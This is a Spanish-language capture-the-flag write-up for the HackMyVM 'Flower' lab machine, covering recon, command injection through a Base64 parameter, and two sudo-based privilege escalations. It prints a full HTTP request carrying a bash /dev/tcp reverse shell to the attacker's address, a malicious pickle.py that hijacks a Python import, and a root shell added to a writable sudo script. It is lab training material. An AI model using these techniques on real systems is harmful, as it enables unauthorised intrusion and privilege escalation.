cd ~/blog

~/writeups/hmv/004-flower.md

004 - Flower

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
OS Command Injection en un parámetro codificado en Base64Python Library Hijacking de pickle importado por un script ejecutado mediante sudoWritable Privileged Executable File en un script Bash ejecutable como root mediante sudo
hackmyvm.eu/machines/machine.php?vm=Flower

~2 min de lectura


Reconocimiento y enumeración de servicios

Iniciamos con el reconocimiento de la red:

❯ arp-scan --interface=wlan0 --localnet

Escaneamos puertos con nmap:

nmap -sC -sV -p80 -oN 02-targeted 192.168.1.27
Nmap scan report for 192.168.1.27
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:14:F9:58 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Enumeramos directorios con dirb:

❯ dirb http://192.168.1.27 -o dirb-results -R

---- Scanning URL: http://192.168.1.27/ ----
+ http://192.168.1.27/index.php (CODE:200|SIZE:1100)
==> DIRECTORY: http://192.168.1.27/manual/
+ http://192.168.1.27/server-status (CODE:403|SIZE:277)

Acceso inicial mediante OS Command Injection

El sitio tiene un combobox para elegir una flor y muestra el número de pétalos. Al analizar la petición con Burp comprobamos que petals contiene una expresión codificada en Base64. La cadena c3lzdGVtKCRfR0VUWydjbWQnXSkK decodifica a system($_GET['cmd']); como el servidor evalúa el resultado, cualquier orden enviada mediante cmd llega a system(). Esto crea una OS Command Injection. Ponemos un listener y usamos ese parámetro para enviar una reverse shell codificada para la URL.

La petición HTTP resultante es:

POST /?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.1.10/1234+0>%261" HTTP/1.1
Host: 192.168.1.27
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.27
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.27/
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
Connection: close

petals=c3lzdGVtKCRfR0VUWydjbWQnXSkK

Obtenemos una shell como www-data:

www-data@flower:/var/www/html$ whoami
whoami
www-data

Movimiento lateral a rose

En /home existe el usuario rose, cuya flag aún no podemos leer. Iniciamos la escalada con sudo -l:

Matching Defaults entries for www-data on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py

Podemos ejecutar diary.py como rose. No es viable un PATH Hijacking, así que revisamos el script:

import pickle

diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)

El script importa pickle. Comprobamos los permisos de la carpeta diary:

drwxrwxrwx 3 rose rose 4096 Oct 17 00:33 diary

El directorio escribible permite realizar Python Library Hijacking mediante sombreado de módulo. Creamos un pickle.py local que Python encuentra antes que la biblioteca legítima cuando diary.py ejecuta el import. Su código de nivel superior se ejecuta con la identidad de rose.

Esto no explota la deserialización de Pickle. El archivo malicioso sólo comparte el nombre del módulo importado y aprovecha su resolución.

El módulo malicioso contiene:

import os

os.system('/bin/bash')

Ejecutamos el programa como rose para que cargue nuestro pickle.py y nos dé una shell:

sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py
rose@flower:~/diary$ whoami
rose

Escalada de privilegios

Capturamos la flag de usuario y continuamos con sudo -l:

Matching Defaults entries for rose on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rose may run the following commands on flower:
    (root) NOPASSWD: /bin/bash /home/rose/.plantbook

Revisamos .plantbook:

#!/bin/bash
echo Hello, write the name of the flower that u found
read flower
echo Nice, $flower submitted on : $(date)

Como podemos modificarlo (está en el home de rose), tenemos un caso de Writable Privileged Executable File y le añadimos una línea que lance una shell.

La regla de sudo fija el intérprete y la ruta, pero no protege el contenido del archivo. Como rose puede escribir .plantbook, root terminará interpretando cualquier línea añadida.

El script modificado queda así:

#!/bin/bash
echo Hello, write the name of the flower that u found
read flower
echo Nice, $flower submitted on : $(date)
/bin/bash

Lo ejecutamos como root:

sudo -u root /bin/bash /home/rose/.plantbook

Las notas registran que la ejecución abrió una shell como root y permitió recuperar la última flag, pero no conservaron una salida de identidad adicional.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados